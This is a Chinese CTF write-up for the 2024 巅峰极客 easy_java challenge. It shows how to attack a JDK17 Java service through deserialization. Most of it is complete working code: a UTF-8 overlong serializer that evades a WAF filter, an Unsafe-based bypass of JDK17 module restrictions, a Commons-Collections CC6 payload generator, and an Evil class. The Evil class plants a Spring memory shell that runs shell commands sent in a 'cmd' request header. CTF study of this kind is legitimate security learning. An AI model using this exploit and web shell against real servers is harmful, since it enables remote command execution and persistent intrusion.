2024 巅峰极客 easy_java学习jdk17下打内存马方式

简单描述

是一个黑盒环境,告诉了只有jdk17和cb依赖

这里就需要知道一个小知识点了

Commons-Beanutils 1.9+自带Commons-Collections3.2.1

可以看见我们只引入了cb依赖,但是同时也有cc的

然后题目过滤了org.apache字样,用UTF8-Overlong-Encoding绕过即可

题目不出网,用defineClass加载字节码打内存马即可。

其实整个下来就是jdk17通过cc6链打内存马

脏字符绕过

绕过原理

在 Java 序列化过程中,类名会被编码为 UTF-8 字节流,并存储在序列化后的数据中。在反序列化时,这些字节流会被重新解码为类名字符串。

UTF-8 是一种可变长度的字符编码方案,可以使用 1 到 4 个字节来表示一个字符。其编码规则如下:

  • 1 字节编码:0xxxxxxx
  • 2 字节编码:110xxxxx 10xxxxxx
  • 3 字节编码:1110xxxx 10xxxxxx 10xxxxxx
  • 4 字节编码:11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

在 UTF-8 编码中,同一个字符可以用不同的字节组合来表示,这就为我们提供了混淆字符的机会。

比如o是0x6F也是0xC3 0xAF

而readUTFSpan方法对类名获取的逻辑支持这些方式

我们的绕过逻辑就来了

这里拿替换o来举例

比如我们对序列化数据o进行了禁用

我们可以序列化的时候对o进行替换

原始类名的序列化(大致表示)

6F 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C

替换后的类名的序列化

我们将 'o'(0x6F)替换为 0xC3 0xAF,新的字节序列如下:

C3 AF 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C

这里只是用编码方式表现一下

我们实际看到的

org.example.Evil----\C3\AFrg.example.Evil

就绕过了waf,而我们反序列化的时候又可以去识别2 字节编码模式的UTF-8字符

所以出现了绕过

实现

package GJ;



import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;

public class UTF8bypass extends ObjectOutputStream {

    private static HashMap<Character, int[]> map;
    static {
        map = new HashMap<>();
        map.put('.', new int[]{0xc0, 0xae});
        map.put(';', new int[]{0xc0, 0xbb});
        map.put('$', new int[]{0xc0, 0xa4});
        map.put('[', new int[]{0xc1, 0x9b});
        map.put(']', new int[]{0xc1, 0x9d});
        map.put('a', new int[]{0xc1, 0xa1});
        map.put('b', new int[]{0xc1, 0xa2});
        map.put('c', new int[]{0xc1, 0xa3});
        map.put('d', new int[]{0xc1, 0xa4});
        map.put('e', new int[]{0xc1, 0xa5});
        map.put('f', new int[]{0xc1, 0xa6});
        map.put('g', new int[]{0xc1, 0xa7});
        map.put('h', new int[]{0xc1, 0xa8});
        map.put('i', new int[]{0xc1, 0xa9});
        map.put('j', new int[]{0xc1, 0xaa});
        map.put('k', new int[]{0xc1, 0xab});
        map.put('l', new int[]{0xc1, 0xac});
        map.put('m', new int[]{0xc1, 0xad});
        map.put('n', new int[]{0xc1, 0xae});
        map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
        map.put('p', new int[]{0xc1, 0xb0});
        map.put('q', new int[]{0xc1, 0xb1});
        map.put('r', new int[]{0xc1, 0xb2});
        map.put('s', new int[]{0xc1, 0xb3});
        map.put('t', new int[]{0xc1, 0xb4});
        map.put('u', new int[]{0xc1, 0xb5});
        map.put('v', new int[]{0xc1, 0xb6});
        map.put('w', new int[]{0xc1, 0xb7});
        map.put('x', new int[]{0xc1, 0xb8});
        map.put('y', new int[]{0xc1, 0xb9});
        map.put('z', new int[]{0xc1, 0xba});
        map.put('A', new int[]{0xc1, 0x81});
        map.put('B', new int[]{0xc1, 0x82});
        map.put('C', new int[]{0xc1, 0x83});
        map.put('D', new int[]{0xc1, 0x84});
        map.put('E', new int[]{0xc1, 0x85});
        map.put('F', new int[]{0xc1, 0x86});
        map.put('G', new int[]{0xc1, 0x87});
        map.put('H', new int[]{0xc1, 0x88});
        map.put('I', new int[]{0xc1, 0x89});
        map.put('J', new int[]{0xc1, 0x8a});
        map.put('K', new int[]{0xc1, 0x8b});
        map.put('L', new int[]{0xc1, 0x8c});
        map.put('M', new int[]{0xc1, 0x8d});
        map.put('N', new int[]{0xc1, 0x8e});
        map.put('O', new int[]{0xc1, 0x8f});
        map.put('P', new int[]{0xc1, 0x90});
        map.put('Q', new int[]{0xc1, 0x91});
        map.put('R', new int[]{0xc1, 0x92});
        map.put('S', new int[]{0xc1, 0x93});
        map.put('T', new int[]{0xc1, 0x94});
        map.put('U', new int[]{0xc1, 0x95});
        map.put('V', new int[]{0xc1, 0x96});
        map.put('W', new int[]{0xc1, 0x97});
        map.put('X', new int[]{0xc1, 0x98});
        map.put('Y', new int[]{0xc1, 0x99});
        map.put('Z', new int[]{0xc1, 0x9a});
    }
    public UTF8bypass(OutputStream out) throws IOException {
        super(out);
    }

    @Override
    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
        String name = desc.getName();
//        writeUTF(desc.getName());
        writeShort(name.length() * 2);
        for (int i = 0; i < name.length(); i++) {
            char s = name.charAt(i);
//            System.out.println(s);
            write(map.get(s)[0]);
            write(map.get(s)[1]);
        }
        writeLong(desc.getSerialVersionUID());
        try {
            byte flags = 0;
            if ((boolean)getFieldValue(desc,"externalizable")) {
                flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
                Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
                protocolField.setAccessible(true);
                int protocol = (int) protocolField.get(this);
                if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
                    flags |= ObjectStreamConstants.SC_BLOCK_DATA;
                }
            } else if ((boolean)getFieldValue(desc,"serializable")){
                flags |= ObjectStreamConstants.SC_SERIALIZABLE;
            }
            if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {
                flags |= ObjectStreamConstants.SC_WRITE_METHOD;
            }
            if ((boolean)getFieldValue(desc,"isEnum") ) {
                flags |= ObjectStreamConstants.SC_ENUM;
            }
            writeByte(flags);
            ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc,"fields");
            writeShort(fields.length);
            for (int i = 0; i < fields.length; i++) {
                ObjectStreamField f = fields[i];
                writeByte(f.getTypeCode());
                writeUTF(f.getName());
                if (!f.isPrimitive()) {
                    Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);
                    writeTypeString.setAccessible(true);
                    writeTypeString.invoke(this,f.getTypeString());
//                    writeTypeString(f.getTypeString());
                }
            }
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        }
    }

    public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = object.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        Object value = field.get(object);

        return value;
    }
}

然后利用就是替换序列化的方法

serilize(hashMap);//原始方法
UTF8bypass utf8bypass=new UTF8bypass(new FileOutputStream("1234.bin"));//绕过waf方法
utf8bypass.writeObject(hashMap);

我们看一下这样得出的文件有什么区别

可以看到对我们的进行了绕过

defineClass加载字节码

首先jdk17是有反射限制的,需要我们打破module机制

mould机制

JDK 17启动了强封装, java.* 的非公共字段和方法都无法反射获取调用了。

限制的逻辑主要在setAccessible方法

们给非public字段或方法设置访问权限为 true 时会调用checkCanSetAccessible 去检查对应的类。

执行 checkCanSetAccessible 方法后

最终关键的代码位于 java.lang.reflect.AccessibleObject#checkCanSetAccessible(java.lang.Class<?>, java.lang.Class<?>, boolean)

只有满足if条件后才能反射调用

caller就是我们当前运行的java文件,而declaringClass就是我们需要反射修改的类

判断我们调用者类和目标类是一个module,或者调用类的module和Object类的module一样才可以调用

打破module机制

那我们就满足if条件,因为

sun.misc和sun.reflect包下的我们是可以正常反射的,所以有个关键的类就可以拿来用来,就是 Unsafe 这个东西

那我们可以尝试利用Unsafe来修改当前类的module属性和 java.* 下类的module属性一致来绕过

Unsafe类中有个 getAndSetObject 方法,其和反射赋值功能差不多,利用这个修改调用类的module

或者putObject方法都是可以的

import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {


        String evilClassBase64 = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);

        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = Object.class.getModule();
        Class currentClass = Main.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        // or
        //unsafe.getAndSetObject(currentClass, offset, baseModule);

        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        ((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();
    }

}

MethodHandles内部类Lookup加载字节码

还需要找到我们的defineClass方法,jdk17已经不能使用Temp类去加载我们的字节码了

这里学习到了一个新的类去加载我们的字节码defineClass

MethodHandles内部类Lookup

不过这个方法是有一些限制的

public Class<?> defineClass(byte[] bytes) throws IllegalAccessException {
    ensureDefineClassPermission();
    if ((lookupModes() & PACKAGE) == 0)
        throw new IllegalAccessException("Lookup does not have PACKAGE access");
    return makeClassDefiner(bytes.clone()).defineClass(false);
}

跟进makeClassDefiner方法

private ClassDefiner makeClassDefiner(byte[] bytes) {
    ClassFile cf = ClassFile.newInstance(bytes, lookupClass().getPackageName());
    return new ClassDefiner(this, cf, STRONG_LOADER_LINK);
}

可以看到是传入了我们的byte和

lookupClass().getPackageName()

这个就是我们调用lookup方法的包名

为什么要调用lookup方法呢,因为我们实例化内部类的时候是通过

MethodHandles的lookup方法实例化的

public static Lookup lookup() {
        return new Lookup(Reflection.getCallerClass());
    }

可以看到这个实例化了对象,而传入的参数就是Reflection.getCallerClass()也就是我们的InvokerTransformer类

这个对我们下面很关键

回到makeClassDefiner方法进入

newInstance

其中加载字节码有个判断

就是我们自己设定的恶意类是否和调用者是在同一个包下的,只有在同一个包下才会加载字节码

POC

这里就使用大头SEC的POC了

EXP类如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class EXP {
    public static void main(String[] args) throws Exception {

        patchModule(EXP.class.getName());
        patchModule(UTF8OverlongObjectOutputStream.class.getName());

        byte[] memcode = Files.readAllBytes(Paths.get("/path/to/Evil.class"));

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(MethodHandles.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{memcode}),
                new InstantiateTransformer(new Class[0], new Object[0]),
                new ConstantTransformer(1)
        };
        Map innerMap = new HashMap();
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.remove("keykey");
        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();

        System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
    public static Object patchModule(String className) throws Exception{
        final ArrayList<Class> classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        Class aClass = Class.forName(className);
        classes.add(aClass);
        new EXP().bypassModule(classes);
        return aClass.newInstance();
    }

    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    private static Method getMethod(Class clazz,String methodName,Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
}

Evil类如下:

package org.apache.commons.collections.functors;

import sun.misc.Unsafe;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {
    private String getReqHeaderName() {
        return "cmd";
    }
    public Evil() throws Exception {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) unsafeField.get((Object) null);
        Method getModuleMethod = Class.class.getDeclaredMethod("getModule");
        Object module = getModuleMethod.invoke(Object.class);
        Class cls = Evil.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(cls, offset, module);

        this.run();
    }
    public void run() {
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        try {
            Object requestAttributes = this.invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
            Object request = this.invokeMethod(requestAttributes, "getRequest");
            Object response = this.invokeMethod(requestAttributes, "getResponse");
            Method getHeaderM = request.getClass().getMethod("getHeader", String.class);
            String cmd = (String)getHeaderM.invoke(request, getReqHeaderName());
            if (cmd != null && !cmd.isEmpty()) {
                Writer writer = (Writer)this.invokeMethod(response, "getWriter");
                writer.write(this.exec(cmd));
                writer.flush();
                writer.close();
            }
        } catch (Exception var8) {}
    }
    private String exec(String cmd) {
        try {
            boolean isLinux = true;
            String osType = System.getProperty("os.name");
            if (osType != null && osType.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = (new Scanner(in)).useDelimiter("\\a");
            String execRes;
            for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {
            }
            return execRes;
        } catch (Exception var8) {
            Exception e = var8;
            return e.getMessage();
        }
    }
    private Object invokeMethod(Object targetObject, String methodName) throws Exception {
        return this.invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
    }
    private Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception {
        Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
        Method method = null;
        Class tempClass = clazz;
        while(method == null && tempClass != null) {
            try {
                if (paramClazz == null) {
                    Method[] methods = tempClass.getDeclaredMethods();
                    for(int i = 0; i < methods.length; ++i) {
                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
                            method = methods[i];
                            break;
                        }
                    }
                } else {
                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
                }
            } catch (NoSuchMethodException var12) {
                tempClass = tempClass.getSuperclass();
            }
        }
        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            if (obj instanceof Class) {
                try {
                    return method.invoke(null, param);
                } catch (IllegalAccessException var10) {
                    throw new RuntimeException(var10.getMessage());
                }
            } else {
                try {
                    return method.invoke(obj, param);
                } catch (IllegalAccessException var11) {
                    throw new RuntimeException(var11.getMessage());
                }
            }
        }
    }
}

UTF8OverlongObjectOutputStream类如下:

package org.apache.commons.collections.functors;


import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

public class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
    public UTF8OverlongObjectOutputStream() throws Exception{
        super();
    }
    public static HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
        put('.', new int[]{0xc0, 0xae});
        put(';', new int[]{0xc0, 0xbb});
        put('$', new int[]{0xc0, 0xa4});
        put('[', new int[]{0xc1, 0x9b});
        put(']', new int[]{0xc1, 0x9d});
        put('a', new int[]{0xc1, 0xa1});
        put('b', new int[]{0xc1, 0xa2});
        put('c', new int[]{0xc1, 0xa3});
        put('d', new int[]{0xc1, 0xa4});
        put('e', new int[]{0xc1, 0xa5});
        put('f', new int[]{0xc1, 0xa6});
        put('g', new int[]{0xc1, 0xa7});
        put('h', new int[]{0xc1, 0xa8});
        put('i', new int[]{0xc1, 0xa9});
        put('j', new int[]{0xc1, 0xaa});
        put('k', new int[]{0xc1, 0xab});
        put('l', new int[]{0xc1, 0xac});
        put('m', new int[]{0xc1, 0xad});
        put('n', new int[]{0xc1, 0xae});
        put('o', new int[]{0xc1, 0xaf}); // 0x6f
        put('p', new int[]{0xc1, 0xb0});
        put('q', new int[]{0xc1, 0xb1});
        put('r', new int[]{0xc1, 0xb2});
        put('s', new int[]{0xc1, 0xb3});
        put('t', new int[]{0xc1, 0xb4});
        put('u', new int[]{0xc1, 0xb5});
        put('v', new int[]{0xc1, 0xb6});
        put('w', new int[]{0xc1, 0xb7});
        put('x', new int[]{0xc1, 0xb8});
        put('y', new int[]{0xc1, 0xb9});
        put('z', new int[]{0xc1, 0xba});
        put('A', new int[]{0xc1, 0x81});
        put('B', new int[]{0xc1, 0x82});
        put('C', new int[]{0xc1, 0x83});
        put('D', new int[]{0xc1, 0x84});
        put('E', new int[]{0xc1, 0x85});
        put('F', new int[]{0xc1, 0x86});
        put('G', new int[]{0xc1, 0x87});
        put('H', new int[]{0xc1, 0x88});
        put('I', new int[]{0xc1, 0x89});
        put('J', new int[]{0xc1, 0x8a});
        put('K', new int[]{0xc1, 0x8b});
        put('L', new int[]{0xc1, 0x8c});
        put('M', new int[]{0xc1, 0x8d});
        put('N', new int[]{0xc1, 0x8e});
        put('O', new int[]{0xc1, 0x8f});
        put('P', new int[]{0xc1, 0x90});
        put('Q', new int[]{0xc1, 0x91});
        put('R', new int[]{0xc1, 0x92});
        put('S', new int[]{0xc1, 0x93});
        put('T', new int[]{0xc1, 0x94});
        put('U', new int[]{0xc1, 0x95});
        put('V', new int[]{0xc1, 0x96});
        put('W', new int[]{0xc1, 0x97});
        put('X', new int[]{0xc1, 0x98});
        put('Y', new int[]{0xc1, 0x99});
        put('Z', new int[]{0xc1, 0x9a});
    }};

    public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
        super(out);
    }

    @Override
    protected void writeClassDescriptor(ObjectStreamClass desc) {
        try {
            String name = desc.getName();
            writeShort(name.length() * 2);
            try {
                for (int i = 0; i < name.length(); i++) {
                    char s = name.charAt(i);
                    write(map.get(s)[0]);
                    write(map.get(s)[1]);
                }
            } catch (Exception e) {

            }
            writeLong(desc.getSerialVersionUID());
            byte flags = 0;
            if ((Boolean) getFieldValue(desc, "externalizable")) {
                flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
                Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
                protocolField.setAccessible(true);
                int protocol = (Integer) protocolField.get(this);
                if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
                    flags |= ObjectStreamConstants.SC_BLOCK_DATA;
                }
            } else if ((Boolean) getFieldValue(desc, "serializable")) {
                flags |= ObjectStreamConstants.SC_SERIALIZABLE;
            }
            if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
                flags |= ObjectStreamConstants.SC_WRITE_METHOD;
            }
            if ((Boolean) getFieldValue(desc, "isEnum")) {
                flags |= ObjectStreamConstants.SC_ENUM;
            }
            writeByte(flags);
            ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
            writeShort(fields.length);
            for (int i = 0; i < fields.length; i++) {
                ObjectStreamField f = fields[i];
                writeByte(f.getTypeCode());
                writeUTF(f.getName());
                if (!f.isPrimitive()) {
                    Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
                    writeTypeString.setAccessible(true);
                    writeTypeString.invoke(this, f.getTypeString());
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
        }
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
}

参考链接

https://gist.github.com/LxxxSec/6e5d3e12a283915790f8f93f66a57487

https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/#JDK17-%E5%AF%B9%E5%8F%8D%E5%B0%84%E7%9A%84%E9%99%90%E5%88%B6

点击收藏 | 4 关注 | 1 打赏
登录 后跟帖